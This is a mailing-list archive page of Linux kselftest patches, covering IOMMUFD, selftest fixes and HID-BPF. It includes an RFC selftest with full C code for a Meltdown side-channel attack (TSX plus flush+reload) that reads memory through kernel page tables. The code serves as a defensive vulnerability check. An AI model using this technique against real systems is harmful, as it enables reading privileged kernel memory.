October 2022 - Linux-kselftest-mirror

[PATCH v3 00/15] IOMMUFD Generic interface

by Jason Gunthorpe

[ At this point everything is done and I will start putting this work into a git tree and into linux-next with the intention of sending it during the next merge window. I intend to focus the next several weeks on more intensive QA to look at error flows and other things. Hopefully including syzkaller if I'm lucky ] iommufd is the user API to control the IOMMU subsystem as it relates to managing IO page tables that point at user space memory. It takes over from drivers/vfio/vfio_iommu_type1.c (aka the VFIO container) which is the VFIO specific interface for a similar idea. We see a broad need for extended features, some being highly IOMMU device specific: - Binding iommu_domain's to PASID/SSID - Userspace IO page tables, for ARM, x86 and S390 - Kernel bypassed invalidation of user page tables - Re-use of the KVM page table in the IOMMU - Dirty page tracking in the IOMMU - Runtime Increase/Decrease of IOPTE size - PRI support with faults resolved in userspace Many of these HW features exist to support VM use cases - for instance the combination of PASID, PRI and Userspace IO Page Tables allows an implementation of DMA Shared Virtual Addressing (vSVA) within a guest. Dirty tracking enables VM live migration with SRIOV devices and PASID support allow creating "scalable IOV" devices, among other things. As these features are fundamental to a VM platform they need to be uniformly exposed to all the driver families that do DMA into VMs, which is currently VFIO and VDPA. The pre-v1 series proposed re-using the VFIO type 1 data structure, however it was suggested that if we are doing this big update then we should also come with an improved data structure that solves the limitations that VFIO type1 has. Notably this addresses: - Multiple IOAS/'containers' and multiple domains inside a single FD - Single-pin operation no matter how many domains and containers use a page - A fine grained locking scheme supporting user managed concurrency for multi-threaded map/unmap - A pre-registration mechanism to optimize vIOMMU use cases by pre-pinning pages - Extended ioctl API that can manage these new objects and exposes domains directly to user space - domains are sharable between subsystems, eg VFIO and VDPA The bulk of this code is a new data structure design to track how the IOVAs are mapped to PFNs. iommufd intends to be general and consumable by any driver that wants to DMA to userspace. From a driver perspective it can largely be dropped in in-place of iommu_attach_device() and provides a uniform full feature set to all consumers. As this is a larger project this series is the first step. This series provides the iommfd "generic interface" which is designed to be suitable for applications like DPDK and VMM flows that are not optimized to specific HW scenarios. It is close to being a drop in replacement for the existing VFIO type 1 and supports existing qemu based VM flows. Several follow-on series are being prepared: - Patches integrating with qemu in native mode: https://github.com/yiliu1765/qemu/commits/qemu-iommufd-6.0-rc2 - A completed integration with VFIO now exists that covers "emulated" mdev use cases now, and can pass testing with qemu/etc in compatability mode: https://github.com/jgunthorpe/linux/commits/vfio_iommufd - A draft providing system iommu dirty tracking on top of iommufd, including iommu driver implementations: https://github.com/jpemartins/linux/commits/x86-iommufd This pairs with patches for providing a similar API to support VFIO-device tracking to give a complete vfio solution: https://lore.kernel.org/kvm/20220901093853.60194-1-yishaih@nvidia.com/ - Userspace page tables aka 'nested translation' for ARM and Intel iommu drivers: https://github.com/nicolinc/iommufd/commits/iommufd_nesting - "device centric" vfio series to expose the vfio_device FD directly as a normal cdev, and provide an extended API allowing dynamically changing the IOAS binding: https://github.com/yiliu1765/iommufd/commits/iommufd-v6.0-rc2-nesting-0901 - Drafts for PASID and PRI interfaces are included above as well Overall enough work is done now to show the merit of the new API design and at least draft solutions to many of the main problems. Several people have contributed directly to this work: Eric Auger, Joao Martins, Kevin Tian, Lu Baolu, Nicolin Chen, Yi L Liu. Many more have participated in the discussions that lead here, and provided ideas. Thanks to all! The v1/v2 iommufd series has been used to guide a large amount of preparatory work that has now been merged. The general theme is to organize things in a way that makes injecting iommufd natural: - VFIO live migration support with mlx5 and hisi_acc drivers. These series need a dirty tracking solution to be really usable. https://lore.kernel.org/kvm/20220224142024.147653-1-yishaih@nvidia.com/ https://lore.kernel.org/kvm/20220308184902.2242-1-shameerali.kolothum.thodi… - Significantly rework the VFIO gvt mdev and remove struct mdev_parent_ops https://lore.kernel.org/lkml/20220411141403.86980-1-hch@lst.de/ - Rework how PCIe no-snoop blocking works https://lore.kernel.org/kvm/0-v3-2cf356649677+a32-intel_no_snoop_jgg@nvidia… - Consolidate dma ownership into the iommu core code https://lore.kernel.org/linux-iommu/20220418005000.897664-1-baolu.lu@linux.… - Make all vfio driver interfaces use struct vfio_device consistently https://lore.kernel.org/kvm/0-v4-8045e76bf00b+13d-vfio_mdev_no_group_jgg@nv… - Remove the vfio_group from the kvm/vfio interface https://lore.kernel.org/kvm/0-v3-f7729924a7ea+25e33-vfio_kvm_no_group_jgg@n… - Simplify locking in vfio https://lore.kernel.org/kvm/0-v2-d035a1842d81+1bf-vfio_group_locking_jgg@nv… - Remove the vfio notifiter scheme that faces drivers https://lore.kernel.org/kvm/0-v4-681e038e30fd+78-vfio_unmap_notif_jgg@nvidi… - Improve the driver facing API for vfio pin/unpin pages to make the presence of struct page clear https://lore.kernel.org/kvm/20220723020256.30081-1-nicolinc@nvidia.com/ - Clean up in the Intel IOMMU driver https://lore.kernel.org/linux-iommu/20220301020159.633356-1-baolu.lu@linux.… https://lore.kernel.org/linux-iommu/20220510023407.2759143-1-baolu.lu@linux… https://lore.kernel.org/linux-iommu/20220514014322.2927339-1-baolu.lu@linux… https://lore.kernel.org/linux-iommu/20220706025524.2904370-1-baolu.lu@linux… https://lore.kernel.org/linux-iommu/20220702015610.2849494-1-baolu.lu@linux… - Rework s390 vfio drivers https://lore.kernel.org/kvm/20220707135737.720765-1-farman@linux.ibm.com/ - Normalize vfio ioctl handling https://lore.kernel.org/kvm/0-v2-0f9e632d54fb+d6-vfio_ioctl_split_jgg@nvidi… - VFIO API for dirty tracking (aka dma logging) managed inside a PCI device, with mlx5 implementation https://lore.kernel.org/kvm/20220901093853.60194-1-yishaih@nvidia.com - Introduce a struct device sysfs presence for struct vfio_device https://lore.kernel.org/kvm/20220901143747.32858-1-kevin.tian@intel.com/ - Complete restructuring the vfio mdev model https://lore.kernel.org/kvm/20220822062208.152745-1-hch@lst.de/ - Isolate VFIO container code in preperation for iommufd to provide an alternative implementation of it all https://lore.kernel.org/kvm/0-v1-a805b607f1fb+17b-vfio_container_split_jgg@… This is about 215 patches applied since March, thank you to everyone involved in all this work! Currently there are a number of supporting series still in progress: - Simplify and consolidate iommu_domain/device compatability checking https://lore.kernel.org/linux-iommu/20220815181437.28127-1-nicolinc@nvidia.… - Align iommu SVA support with the domain-centric model https://lore.kernel.org/linux-iommu/20220826121141.50743-1-baolu.lu@linux.i… - DMABUF exporter support for VFIO to allow PCI P2P with VFIO https://lore.kernel.org/r/0-v2-472615b3877e+28f7-vfio_dma_buf_jgg@nvidia.com - Start to provide iommu_domain ops for power https://lore.kernel.org/all/20220714081822.3717693-1-aik@ozlabs.ru/ However, these are not necessary for this series to advance. This is on github: https://github.com/jgunthorpe/linux/commits/iommufd v3: - Rebase to v6.1-rc1 - Improve documentation - Use EXPORT_SYMBOL_NS - Fix W1, checkpatch stuff - Revise pages.c to resolve the FIXMEs. Create a interval_tree_double_span_iter which allows a simple expression of the previously problematic algorithms - Consistently use the word 'access' instead of user to refer to an access from an in-kernel user (eg vfio mdev) - Support two forms of rlimit accounting and make the vfio compatible one the default in compatability mode (following series) - Support old VFIO type1 by disabling huge pages and implementing a simple algorithm to split a struct iopt_area - Full implementation of access support, test coverage and optimizations - Complete COPY to be able to copy across contiguous areas. Improve all the algorithms around contiguous areas with a dedicated iterator - Functional ENFORCED_COHERENT support - Support multi-device groups - Lots of smaller changes (the interdiff is 5k lines) v2: https://lore.kernel.org/r/0-v2-f9436d0bde78+4bb-iommufd_jgg@nvidia.com - Rebase to v6.0-rc3 - Improve comments - Change to an iterative destruction approach to avoid cycles - Near rewrite of the vfio facing implementation, supported by a complete implementation on the vfio side - New IOMMU_IOAS_ALLOW_IOVAS API as discussed. Allows userspace to assert that ranges of IOVA must always be mappable. To be used by a VMM that has promised a guest a certain availability of IOVA. May help guide PPC's multi-window implementation. - Rework how unmap_iova works, user can unmap the whole ioas now - The no-snoop / wbinvd support is implemented - Bug fixes - Test suite improvements - Lots of smaller changes (the interdiff is 3k lines) v1: https://lore.kernel.org/r/0-v1-e79cd8d168e8+6-iommufd_jgg@nvidia.com Jason Gunthorpe (13): iommu: Add IOMMU_CAP_ENFORCE_CACHE_COHERENCY interval-tree: Add a utility to iterate over spans in an interval tree iommufd: File descriptor, context, kconfig and makefiles kernel/user: Allow user::locked_vm to be usable for iommufd iommufd: PFN handling for iopt_pages iommufd: Algorithms for PFN storage iommufd: Data structure to provide IOVA to PFN mapping iommufd: IOCTLs for the io_pagetable iommufd: Add a HW pagetable object iommufd: Add kAPI toward external drivers for physical devices iommufd: Add kAPI toward external drivers for kernel access iommufd: vfio container FD ioctl compatibility iommufd: Add a selftest Kevin Tian (1): iommufd: Overview documentation Lu Baolu (1): iommu: Add device-centric DMA ownership interfaces .clang-format | 3 + Documentation/userspace-api/index.rst | 1 + .../userspace-api/ioctl/ioctl-number.rst | 1 + Documentation/userspace-api/iommufd.rst | 222 ++ MAINTAINERS | 10 + drivers/iommu/Kconfig | 1 + drivers/iommu/Makefile | 2 +- drivers/iommu/amd/iommu.c | 2 + drivers/iommu/intel/iommu.c | 4 + drivers/iommu/iommu.c | 116 +- drivers/iommu/iommufd/Kconfig | 24 + drivers/iommu/iommufd/Makefile | 13 + drivers/iommu/iommufd/device.c | 744 +++++++ drivers/iommu/iommufd/double_span.h | 98 + drivers/iommu/iommufd/hw_pagetable.c | 57 + drivers/iommu/iommufd/io_pagetable.c | 1143 +++++++++++ drivers/iommu/iommufd/io_pagetable.h | 240 +++ drivers/iommu/iommufd/ioas.c | 390 ++++ drivers/iommu/iommufd/iommufd_private.h | 273 +++ drivers/iommu/iommufd/iommufd_test.h | 85 + drivers/iommu/iommufd/main.c | 417 ++++ drivers/iommu/iommufd/pages.c | 1803 +++++++++++++++++ drivers/iommu/iommufd/selftest.c | 711 +++++++ drivers/iommu/iommufd/vfio_compat.c | 443 ++++ include/linux/interval_tree.h | 50 + include/linux/iommu.h | 18 + include/linux/iommufd.h | 101 + include/linux/sched/user.h | 2 +- include/uapi/linux/iommufd.h | 330 +++ kernel/user.c | 1 + lib/Kconfig | 4 + lib/interval_tree.c | 132 ++ tools/testing/selftests/Makefile | 1 + tools/testing/selftests/iommu/.gitignore | 2 + tools/testing/selftests/iommu/Makefile | 11 + tools/testing/selftests/iommu/config | 2 + tools/testing/selftests/iommu/iommufd.c | 1715 ++++++++++++++++ 37 files changed, 9145 insertions(+), 27 deletions(-) create mode 100644 Documentation/userspace-api/iommufd.rst create mode 100644 drivers/iommu/iommufd/Kconfig create mode 100644 drivers/iommu/iommufd/Makefile create mode 100644 drivers/iommu/iommufd/device.c create mode 100644 drivers/iommu/iommufd/double_span.h create mode 100644 drivers/iommu/iommufd/hw_pagetable.c create mode 100644 drivers/iommu/iommufd/io_pagetable.c create mode 100644 drivers/iommu/iommufd/io_pagetable.h create mode 100644 drivers/iommu/iommufd/ioas.c create mode 100644 drivers/iommu/iommufd/iommufd_private.h create mode 100644 drivers/iommu/iommufd/iommufd_test.h create mode 100644 drivers/iommu/iommufd/main.c create mode 100644 drivers/iommu/iommufd/pages.c create mode 100644 drivers/iommu/iommufd/selftest.c create mode 100644 drivers/iommu/iommufd/vfio_compat.c create mode 100644 include/linux/iommufd.h create mode 100644 include/uapi/linux/iommufd.h create mode 100644 tools/testing/selftests/iommu/.gitignore create mode 100644 tools/testing/selftests/iommu/Makefile create mode 100644 tools/testing/selftests/iommu/config create mode 100644 tools/testing/selftests/iommu/iommufd.c base-commit: 247f34f7b80357943234f93f247a1ae6b6c3a740 -- 2.38.0

3 years

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[PATCH linux-next] selftests/vm: calculate variables in correct order

by Joel Savitz

commit b5ba705c2608 ("selftests/vm: enable running select groups of tests") unintentionally reversed the ordering of some of the lines of run_vmtests.sh that calculate values based on system configuration. Importantly, $hpgsize_MB is determined from $hpgsize_KB, but this later value is not read from /proc/meminfo until later, causing userfaultfd tests to incorrectly fail since $half_ufd_size_MB will always be 0. Switch these statements around into proper order to fix the invocation of the userfaultfd tests that use $half_ufd_size_MB. Suggested-by: Nico Pache <npache(a)redhat.com> Signed-off-by: Joel Savitz <jsavitz(a)redhat.com> --- tools/testing/selftests/vm/run_vmtests.sh | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/tools/testing/selftests/vm/run_vmtests.sh b/tools/testing/selftests/vm/run_vmtests.sh index fff00bb77086..ce52e4f5ff21 100755 --- a/tools/testing/selftests/vm/run_vmtests.sh +++ b/tools/testing/selftests/vm/run_vmtests.sh @@ -82,16 +82,6 @@ test_selected() { fi } -# Simple hugetlbfs tests have a hardcoded minimum requirement of -# huge pages totaling 256MB (262144KB) in size. The userfaultfd -# hugetlb test requires a minimum of 2 * nr_cpus huge pages. Take -# both of these requirements into account and attempt to increase -# number of huge pages available. -nr_cpus=$(nproc) -hpgsize_MB=$((hpgsize_KB / 1024)) -half_ufd_size_MB=$((((nr_cpus * hpgsize_MB + 127) / 128) * 128)) -needmem_KB=$((half_ufd_size_MB * 2 * 1024)) - # get huge pagesize and freepages from /proc/meminfo while read -r name size unit; do if [ "$name" = "HugePages_Free:" ]; then @@ -102,6 +92,16 @@ while read -r name size unit; do fi done < /proc/meminfo +# Simple hugetlbfs tests have a hardcoded minimum requirement of +# huge pages totaling 256MB (262144KB) in size. The userfaultfd +# hugetlb test requires a minimum of 2 * nr_cpus huge pages. Take +# both of these requirements into account and attempt to increase +# number of huge pages available. +nr_cpus=$(nproc) +hpgsize_MB=$((hpgsize_KB / 1024)) +half_ufd_size_MB=$((((nr_cpus * hpgsize_MB + 127) / 128) * 128)) +needmem_KB=$((half_ufd_size_MB * 2 * 1024)) + # set proper nr_hugepages if [ -n "$freepgs" ] && [ -n "$hpgsize_KB" ]; then nr_hugepgs=$(cat /proc/sys/vm/nr_hugepages) -- 2.31.1

3 years

2
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[PATCH v1] kselftest/arm64: Remove validation of extra_context from TODO

by Mark Brown

When fixing up support for extra_context in the signal handling tests I didn't notice that there is a TODO file in the directory which lists this as a thing to be done. Since it's been done remove it from the list. Signed-off-by: Mark Brown <broonie(a)kernel.org> --- tools/testing/selftests/arm64/signal/testcases/TODO | 1 - 1 file changed, 1 deletion(-) diff --git a/tools/testing/selftests/arm64/signal/testcases/TODO b/tools/testing/selftests/arm64/signal/testcases/TODO index 110ff9fd195d..1f7fba8194fe 100644 --- a/tools/testing/selftests/arm64/signal/testcases/TODO +++ b/tools/testing/selftests/arm64/signal/testcases/TODO @@ -1,2 +1 @@ - Validate that register contents are saved and restored as expected. -- Support and validate extra_context. base-commit: 9abf2313adc1ca1b6180c508c25f22f9395cc780 -- 2.30.2

3 years

2
1
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[PATCH v1 0/2] kselftest/arm64: fp-stress output clarity improvements

by Mark Brown

This series provides a couple of improvements to the output of fp-stress, making it easier to follow what's going on and our application of the timeout a bit more even. Mark Brown (2): kselftest/arm64: Check that all children are producing output in fp-stress kselftest/arm64: Provide progress messages when signalling children tools/testing/selftests/arm64/fp/fp-stress.c | 26 ++++++++++++++++++++ 1 file changed, 26 insertions(+) base-commit: 9abf2313adc1ca1b6180c508c25f22f9395cc780 -- 2.30.2

3 years

2
3
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[RESEND][RFC][PATCH 1/3] lsm: Clarify documentation of vm_enough_memory hook

by Roberto Sassu

From: Roberto Sassu <roberto.sassu(a)huawei.com> include/linux/lsm_hooks.h reports the result of the LSM infrastructure to the callers, not what LSMs should return to the LSM infrastructure. Clarify that and add that returning 1 from the LSMs means calling __vm_enough_memory() with cap_sys_admin set, 0 without. Signed-off-by: Roberto Sassu <roberto.sassu(a)huawei.com> --- include/linux/lsm_hooks.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h index 4ec80b96c22e..f40b82ca91e7 100644 --- a/include/linux/lsm_hooks.h +++ b/include/linux/lsm_hooks.h @@ -1411,7 +1411,9 @@ * Check permissions for allocating a new virtual mapping. * @mm contains the mm struct it is being added to. * @pages contains the number of pages. - * Return 0 if permission is granted. + * Return 0 if permission is granted by LSMs to the caller. LSMs should + * return 1 if __vm_enough_memory() should be called with + * cap_sys_admin set, 0 if not. * * @ismaclabel: * Check if the extended attribute specified by @name -- 2.25.1

3 years

3
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[RFC PATCH] selftest/x86/meltdown: Add a selftest for meltdown

by Aaron Lu

To capture potential programming errors like mistakenly setting Global bit on kernel page table entries, a selftest for meltdown is added. This selftest is based on https://github.com/IAIK/meltdown. What this test does is to firstly set a predefined string at a random user address and then with pagemap, get the physical address of this string. Finally, try to fetch the data using kernel's directmap address for this physical address to see if user space can use kernel's page table. Per my tests, this test works well on CPUs that have TSX support. For this reason, this selftest only works on CPUs that supports TSX. This test requires the knowledge of direct map base. IAIK used the following two methods to get direct map base: 1 through a kernel module to show phys_to_virt(0); 2 by exploiting the same HW vulnerability to guess the base. Method 1 makes running this selftest complex while method 2 is not reliable and I do not want to use a possibly wrong value to run this test. Suggestions are welcome. Tested on both x86_64 and i386_pae VMs on a host with i7-7700K cpu, success rate is about 50% when nopti kernel cmdline is used. Signed-off-by: Aaron Lu <aaron.lu(a)intel.com> --- tools/testing/selftests/x86/Makefile | 2 +- tools/testing/selftests/x86/meltdown.c | 385 +++++++++++++++++++++++++ 2 files changed, 386 insertions(+), 1 deletion(-) create mode 100644 tools/testing/selftests/x86/meltdown.c diff --git a/tools/testing/selftests/x86/Makefile b/tools/testing/selftests/x86/Makefile index 0388c4d60af0..36f99c360a56 100644 --- a/tools/testing/selftests/x86/Makefile +++ b/tools/testing/selftests/x86/Makefile @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh "$(CC)" trivial_program.c -no-pie) TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs syscall_nt test_mremap_vdso \ check_initial_reg_state sigreturn iopl ioperm \ test_vsyscall mov_ss_trap \ - syscall_arg_fault fsgsbase_restore sigaltstack + syscall_arg_fault fsgsbase_restore sigaltstack meltdown TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso unwind_vdso \ test_FCMOV test_FCOMI test_FISTTP \ vdso_restorer diff --git a/tools/testing/selftests/x86/meltdown.c b/tools/testing/selftests/x86/meltdown.c new file mode 100644 index 000000000000..fb72d933fd90 --- /dev/null +++ b/tools/testing/selftests/x86/meltdown.c @@ -0,0 +1,385 @@ +// SPDX-License-Identifier: GPL-2.0-only +/* + * This selftest is based on code from https://github.com/IAIK/meltdown + * and can be used to check if user space can read data through kernel + * page table entries. + * + * Note for i386 test: due to kernel prefer to use high memory for user + * programs, it is necessary to restrict the available memory under that + * of low memory size(around ~896MiB) so that the memory hosting "string" + * in main() is directly mapped. + * + * The original copyright and license information are shown below: + * + * Copyright (c) 2018 meltdown + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + */ + +#include <fcntl.h> +#include <unistd.h> +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#include <cpuid.h> +#include <errno.h> +#include <err.h> +#include <sys/mman.h> + +#define PAGE_SHIFT 12 +#define PAGE_SIZE 0x1000 +#define PUD_SHIFT 30 +#define PUD_SIZE (1UL << PUD_SHIFT) +#define PUD_MASK (~(PUD_SIZE - 1)) + +#define _XBEGIN_STARTED (~0u) + +/* configurables */ +#define NR_MEASUREMENTS 3 +#define NR_TRIES 10000 + +size_t cache_miss_threshold; +unsigned long directmap_base; + +static int get_directmap_base(void) +{ + char *buf; + FILE *fp; + size_t n; + int ret; + + fp = fopen("/sys/kernel/debug/page_tables/kernel", "r"); + if (!fp) + return -1; + + buf = NULL; + ret = -1; + while (getline(&buf, &n, fp) != -1) { + if (!strstr(buf, "Kernel Mapping")) + continue; + + if (getline(&buf, &n, fp) != -1 && + sscanf(buf, "0x%lx", &directmap_base) == 1) { + printf("directmap_base=0x%lx/0x%lx\n", directmap_base, directmap_base & PUD_MASK); + directmap_base &= PUD_MASK; + ret = 0; + break; + } + } + + fclose(fp); + free(buf); + return ret; +} + +/* + * Requires root due to pagemap. + */ +static int virt_to_phys(unsigned long virt, unsigned long *phys) +{ + unsigned long pfn; + uint64_t val; + int fd, ret; + + fd = open("/proc/self/pagemap", O_RDONLY); + if (fd == -1) { + printf("Failed to open pagemap\n"); + return -1; + } + + ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) * sizeof(uint64_t)); + if (ret == -1) { + printf("Failed to read pagemap\n"); + goto out; + } + + if (!(val & (1ULL << 63))) { + printf("Page not present according to pagemap\n"); + ret = -1; + goto out; + } + + pfn = val & ((1ULL << 55) - 1); + if (pfn == 0) { + printf("Need CAP_SYS_ADMIN to show pfn\n"); + ret = -1; + goto out; + } + + ret = 0; + *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1)); + +out: + close(fd); + return ret; +} + +static uint64_t rdtsc() +{ + uint64_t a = 0, d = 0; + + asm volatile("mfence"); +#ifdef __x86_64__ + asm volatile("rdtsc" : "=a"(a), "=d"(d)); +#else + asm volatile("rdtsc" : "=A"(a)); +#endif + a = (d << 32) | a; + asm volatile("mfence"); + + return a; +} + +#ifdef __x86_64__ +static void maccess(void *p) +{ + asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); +} + +static void flush(void *p) +{ + asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); +} + +#define MELTDOWN \ + asm volatile("1:\n" \ + "movzx (%%rcx), %%rax\n" \ + "shl $12, %%rax\n" \ + "jz 1b\n" \ + "movq (%%rbx,%%rax,1), %%rbx\n" \ + : \ + : "c"(virt), "b"(array) \ + : "rax"); +#else +static void maccess(void *p) +{ + asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax"); +} + +static void flush(void *p) +{ + asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax"); +} + +#define MELTDOWN \ + asm volatile("1:\n" \ + "movzx (%%ecx), %%eax\n" \ + "shl $12, %%eax\n" \ + "jz 1b\n" \ + "mov (%%ebx,%%eax,1), %%ebx\n" \ + : \ + : "c"(virt), "b"(array) \ + : "eax"); +#endif + +static void detect_flush_reload_threshold() +{ + size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; + size_t dummy[16]; + size_t *ptr = dummy + 8; + uint64_t start = 0, end = 0; + + maccess(ptr); + for (i = 0; i < count; i++) { + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + reload_time += (end - start); + } + + for (i = 0; i < count; i++) { + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + flush(ptr); + flush_reload_time += (end - start); + } + + reload_time /= count; + flush_reload_time /= count; + + printf("Flush+Reload: %zd cycles, Reload only: %zd cycles\n", + flush_reload_time, reload_time); + cache_miss_threshold = (flush_reload_time + reload_time * 2) / 3; + printf("Flush+Reload threshold: %zd cycles\n", cache_miss_threshold); +} + +static int flush_reload(void *ptr) +{ + uint64_t start, end; + + start = rdtsc(); + maccess(ptr); + end = rdtsc(); + + flush(ptr); + + if (end - start < cache_miss_threshold) + return 1; + + return 0; +} + +static int check_tsx() +{ + if (__get_cpuid_max(0, NULL) >= 7) { + unsigned a, b, c, d; + __cpuid_count(7, 0, a, b, c, d); + return (b & (1 << 11)) ? 1 : 0; + } else + return 0; +} + +static unsigned int xbegin(void) +{ + unsigned int status; + + asm volatile("xbegin 1f \n 1:" : "=a"(status) : "a"(-1UL) : "memory"); + asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); + + return status; +} + +static void xend(void) +{ + asm volatile("xend" ::: "memory"); + asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); +} + +static int __read_phys_memory_tsx(unsigned long phys, char *array) +{ + unsigned long virt; + int i, retries; + + virt = phys + directmap_base; + for (retries = 0; retries < NR_TRIES; retries++) { + if (xbegin() == _XBEGIN_STARTED) { + MELTDOWN; + xend(); + } + + for (i = 1; i < 256; i++) { + if (flush_reload(array + i * PAGE_SIZE)) + return i; + } + } + + return 0; +} + +/* + * Read physical memory by exploiting HW bugs. + * One byte a time. + */ +static int read_phys_memory(unsigned long phys, char *array) +{ + char res_stat[256]; + int i, r, max_v, max_i; + + memset(res_stat, 0, sizeof(res_stat)); + + for (i = 0; i < NR_MEASUREMENTS; i++) { + for (i = 0; i < 256; i++) + flush(array + i * PAGE_SIZE); + + r = __read_phys_memory_tsx(phys, array); + if (r != 0) + res_stat[r]++; + } + + max_v = 0; + for (i = 1; i < 256; i++) { + if (res_stat[i] > max_v) { + max_i = i; + max_v = res_stat[i]; + } + } + + if (max_v == 0) + return 0; + + return max_i; +} + +static int test_meltdown(void) +{ + char string[] = "test string"; + char *array, *result; + unsigned long phys; + int i, len, ret; + + if (get_directmap_base() == -1) { + printf("[FAIL]\tFailed to get directmap base. Make sure you are root and kernel has CONFIG_PTDUMP_DEBUGFS\n"); + return 0; + } + + detect_flush_reload_threshold(); + + if (!check_tsx()) { + printf("[FAIL]\tNo TSX support\n"); + return 0; + } + + if (virt_to_phys((unsigned long)string, &phys) == -1) { + printf("[FAIL]\tFailed to convert virtual address to physical address\n"); + return -1; + } + + len = strlen(string); + result = malloc(len + 1); + if (!result) { + printf("[FAIL]\tNot enough memory for malloc\n"); + return -1; + } + memset(result, 0, len + 1); + + array = mmap(NULL, 256 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (!array) { + printf("[FAIL]\tNot enough memory for mmap\n"); + free(result); + return -1; + } + memset(array, 0, 256 * PAGE_SIZE); + + for (i = 0; i < len; i++, phys++) { + result[i] = read_phys_memory(phys, array); + if (result[i] == 0) + break; + } + + ret = !strncmp(string, result, len); + if (ret) + printf("[FAIL]\tSystem is vulnerable to meltdown.\n"); + else + printf("[OK]\tSystem might not be vulnerable to meltdown.\n"); + + munmap(array, 256 * PAGE_SIZE); + free(result); + + return ret; +} + +int main(void) +{ + printf("[RUN]\tTest if system is vulnerable to meltdown\n"); + + return test_meltdown(); +} -- 2.30.2

3 years

2
4
0 0

[PATCH bpf-next] selftests/bpf: Fix strncpy() fortify warning

by Rong Tao

From: Rong Tao <rongtao(a)cestc.cn> Compile samples/bpf, error: $ cd samples/bpf $ make ... In function ‘__enable_controllers’: samples/bpf/../../tools/testing/selftests/bpf/cgroup_helpers.c:80:17: warning: ‘strncpy’ specified bound 4097 equals destination size [-Wstringop-truncation] 80 | strncpy(enable, controllers, sizeof(enable)); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Signed-off-by: Rong Tao <rongtao(a)cestc.cn> --- tools/testing/selftests/bpf/cgroup_helpers.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/testing/selftests/bpf/cgroup_helpers.c b/tools/testing/selftests/bpf/cgroup_helpers.c index e914cc45b766..a70e873b267e 100644 --- a/tools/testing/selftests/bpf/cgroup_helpers.c +++ b/tools/testing/selftests/bpf/cgroup_helpers.c @@ -77,7 +77,7 @@ static int __enable_controllers(const char *cgroup_path, const char *controllers enable[len] = 0; close(fd); } else { - strncpy(enable, controllers, sizeof(enable)); + strncpy(enable, controllers, sizeof(enable) - 1); } snprintf(path, sizeof(path), "%s/cgroup.subtree_control", cgroup_path); -- 2.31.1

3 years

5
16
0 0

[PATCH hid v11 00/14] Introduce eBPF support for HID devices

by Benjamin Tissoires

Hi, and here comes the v11 of the HID-BPF series. Again, for a full explanation of HID-BPF, please refer to the last patch in this series (14/14). Now that the bpf-core changes are all merged in v6.1, it is time to have that series entirely relying on HID, so it can get merged into the HID tree. Compared to v10, the most notable change is in the selftests and the samples: they are now namespaced into hid, not bpf. This means that HID-BPF has no more conflicts with the bpf tree. One other interesting change is in patch 4/14. I managed to reduce the scope of the embedded bpf programs, by tricking the refcount. I am planning on submitting an RFC for embedding those changes in bpf core (a map that doesn't increment refcount and a cleanup mechanism) but this can come as a later improvement. This new kind of maps and mechanisms might also be useful for other subsystems. Cheers, Benjamin Benjamin Tissoires (14): HID: Kconfig: split HID support and hid-core compilation HID: initial BPF implementation selftests: add tests for the HID-bpf initial implementation HID: bpf jmp table: simplify the logic of cleaning up programs HID: bpf: allocate data memory for device_event BPF programs selftests/hid: add test to change the report size HID: bpf: introduce hid_hw_request() selftests/hid: add tests for bpf_hid_hw_request HID: bpf: allow to change the report descriptor selftests/hid: add report descriptor fixup tests selftests/hid: Add a test for BPF_F_INSERT_HEAD samples/hid: add new hid BPF example samples/hid: add Surface Dial example Documentation: add HID-BPF docs Documentation/hid/hid-bpf.rst | 513 +++++++++++ Documentation/hid/index.rst | 1 + MAINTAINERS | 3 + drivers/Makefile | 2 +- drivers/hid/Kconfig | 20 +- drivers/hid/Makefile | 2 + drivers/hid/bpf/Kconfig | 17 + drivers/hid/bpf/Makefile | 11 + drivers/hid/bpf/entrypoints/Makefile | 93 ++ drivers/hid/bpf/entrypoints/README | 4 + drivers/hid/bpf/entrypoints/entrypoints.bpf.c | 34 + .../hid/bpf/entrypoints/entrypoints.lskel.h | 368 ++++++++ drivers/hid/bpf/hid_bpf_dispatch.c | 526 +++++++++++ drivers/hid/bpf/hid_bpf_dispatch.h | 28 + drivers/hid/bpf/hid_bpf_jmp_table.c | 572 ++++++++++++ drivers/hid/hid-core.c | 32 +- include/linux/hid.h | 5 + include/linux/hid_bpf.h | 148 +++ include/uapi/linux/hid_bpf.h | 25 + samples/hid/.gitignore | 8 + samples/hid/Makefile | 246 +++++ samples/hid/Makefile.target | 75 ++ samples/hid/hid_mouse.bpf.c | 134 +++ 